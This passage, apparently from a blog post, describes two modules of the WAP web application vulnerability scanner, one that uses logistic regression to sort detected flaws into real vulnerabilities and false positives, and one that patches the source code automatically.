- False Positives Predictor: composed by a supervised trained data set with instances classified as being vulnerabilities and false positives and by the Logistic Regression machine learning algorithm. For each potential vulnerability detected by code analyser, this module collects the presence of the attributes that define a false positive. Then, the Logistic Regression algorithm receives them and classifies the instance as being a false positive or not (real vulnerability).
- Code Corrector: Each real vulnerability is removed by correction of its source code. This module for the type of vulnerability selects the fix that removes the vulnerability and signalizes the places in the source code where the fix will be inserted. Then, the code is corrected with the insertion of the fixes and new files are created.
Download WAP
Go to link download
Subscribe to:
Posts (Atom)